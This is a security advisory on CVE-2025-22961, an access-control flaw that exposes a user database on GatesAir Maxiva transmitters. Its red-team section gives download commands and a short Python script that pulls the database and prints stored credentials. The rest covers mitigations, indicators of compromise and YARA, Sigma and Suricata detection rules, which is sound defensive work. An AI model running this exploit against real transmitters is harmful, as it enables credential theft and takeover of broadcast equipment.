CVE-2025-22961

Executive Summary

CVE-2025-22961 is a critical information disclosure vulnerability affecting GatesAir Maxiva UAXT and VAXT transmitters. The flaw resides in the web-based management interface, where incorrect access control (CWE-284) allows unauthenticated attackers to directly access sensitive database backup files (snapshot_users.db) via publicly exposed URLs (/logs/devcfg/snapshot/ and /logs/devcfg/user/). Exploitation enables retrieval of user credentials and other sensitive data, potentially leading to full system compromise. No official patch has been released, and the vulnerability is publicly documented with proof-of-concept details available.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects embedded firmware in broadcast transmitters, which are typically deployed as standalone hardware appliances. Supply chain risks include exposure of default credentials in firmware images and lack of secure update mechanisms.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability is trivial to exploit, requires no authentication, and exposes sensitive credentials that can be reused for lateral movement or direct system access.

Deep Dive & Mechanics

The vulnerability stems from improper access control on the web server serving the transmitter's management interface. The endpoints /logs/devcfg/snapshot/ and /logs/devcfg/user/ are configured to serve static files without authentication checks. The file snapshot_users.db is a SQLite database containing user account details, including hashed (or potentially plaintext) passwords, usernames, and roles.

Root Cause: The web server (likely a lightweight embedded HTTP server) does not enforce authentication for directory listing or file retrieval under these paths. This is a classic example of CWE-284 (Improper Access Control), where the developer assumed that obscurity or internal network placement would suffice.

Attack Flow:

1. Attacker identifies a GatesAir Maxiva transmitter via Shodan or other scanning.
2. Attacker sends HTTP GET requests to:
   • http://<target>/logs/devcfg/snapshot/snapshot_users.db
   • http://<target>/logs/devcfg/user/snapshot_users.db
3. The server returns the database file without authentication.
4. Attacker downloads and opens the SQLite database to extract credentials.
5. Using extracted credentials, attacker logs into the management interface and gains full control.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable configuration is the default web server setup. A hypothetical fix would involve:

Vulnerable (current):

# Example of vulnerable web server configuration (pseudo-code)
from flask import Flask, send_from_directory
app = Flask(__name__)

@app.route('/logs/devcfg/snapshot/<path:filename>')
def serve_snapshot(filename):
    return send_from_directory('/var/logs/devcfg/snapshot', filename)
# No authentication decorator

Patched (hypothetical):

# Patched version with authentication
from flask import Flask, send_from_directory, request, abort
app = Flask(__name__)

def require_auth():
    auth = request.authorization
    if not auth or not validate_user(auth.username, auth.password):
        abort(401)

@app.route('/logs/devcfg/snapshot/<path:filename>')
@require_auth
def serve_snapshot(filename):
    return send_from_directory('/var/logs/devcfg/snapshot', filename)

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target GatesAir Maxiva UAXT/VAXT transmitter with web interface exposed.
• Network access to the target (e.g., via Shodan or internal network).

Exploitation Steps:

1. Reconnaissance:

   curl -s http://<target>/logs/devcfg/snapshot/ | grep -o 'snapshot_users.db'
   

2. Download Database:

   wget http://<target>/logs/devcfg/snapshot/snapshot_users.db
   

3. Extract Credentials:

   sqlite3 snapshot_users.db "SELECT * FROM users;"
   

4. Login to Management Interface:

   curl -X POST http://<target>/login -d "username=admin&password=extracted_password"
   

Automated Exploit Script (Python):

import requests
import sqlite3
import sys

target = sys.argv[1]
url = f"http://{target}/logs/devcfg/snapshot/snapshot_users.db"
r = requests.get(url)
if r.status_code == 200:
    with open("snapshot_users.db", "wb") as f:
        f.write(r.content)
    conn = sqlite3.connect("snapshot_users.db")
    cursor = conn.cursor()
    cursor.execute("SELECT username, password FROM users")
    for row in cursor.fetchall():
        print(f"Username: {row[0]}, Password: {row[1]}")
    conn.close()
else:
    print("Failed to download database")

Blue Team (Defense & Detection)

Immediate Mitigation:

• Restrict network access to the management interface using firewall rules (allow only trusted IPs).
• Disable directory listing and file serving for /logs/devcfg/ paths.
• Implement HTTP basic authentication or certificate-based authentication for all management endpoints.

Detection Rules:

• Monitor for HTTP GET requests to /logs/devcfg/snapshot/ or /logs/devcfg/user/ from external IPs.
• Alert on unusual SQLite database downloads from the transmitter.

Honeypot Strategy:

• Deploy a decoy transmitter with fake credentials in snapshot_users.db to lure attackers and log their IPs.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /logs/devcfg/snapshot/snapshot_users.db
• HTTP requests to /logs/devcfg/user/snapshot_users.db
• Outbound connections from attacker IP to port 80/443 on the transmitter.

File IOCs:

• snapshot_users.db file (SQLite format) downloaded from the transmitter.
• Presence of snapshot_users.db in web server logs.

Behavioral IOCs:

• Multiple failed login attempts after database download.
• Unauthorized configuration changes on the transmitter.

Detection Engineering

YARA Rule

rule CVE_2025_22961_Snapshot_DB {
    meta:
        description = "Detects GatesAir Maxiva snapshot_users.db file"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22961"
    strings:
        $sqlite_header = "SQLite format 3"
        $user_table = "CREATE TABLE users"
        $password_field = "password"
    condition:
        $sqlite_header at 0 and $user_table and $password_field
}

Sigma Rule

title: CVE-2025-22961 - Unauthenticated Access to GatesAir Maxiva Database
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP GET requests to sensitive paths on GatesAir Maxiva transmitters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem:
            - '/logs/devcfg/snapshot/snapshot_users.db'
            - '/logs/devcfg/user/snapshot_users.db'
    condition: selection
falsepositives:
    - Legitimate administrative access from trusted networks
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-22961 - Unauthenticated GatesAir Maxiva DB Access";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/logs/devcfg/snapshot/snapshot_users.db";
    http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
    reference:cve,2025-22961;
)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate the transmitter management interface on a separate VLAN with strict ACLs.
2. Firewall Rules: Block external access to ports 80/443 on the transmitter unless absolutely necessary.
3. Disable Unnecessary Endpoints: If possible, remove or disable the /logs/devcfg/ directory from the web server configuration.

Long-Term Fixes:

• Vendor Patch: Contact GatesAir for a firmware update that implements proper authentication.
• Custom Authentication: Deploy a reverse proxy (e.g., Nginx) in front of the transmitter to enforce authentication.
• Credential Rotation: Change all default credentials immediately and enforce strong password policies.

Workaround:

• Use IP whitelisting to restrict access to the management interface to only authorized administrators.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert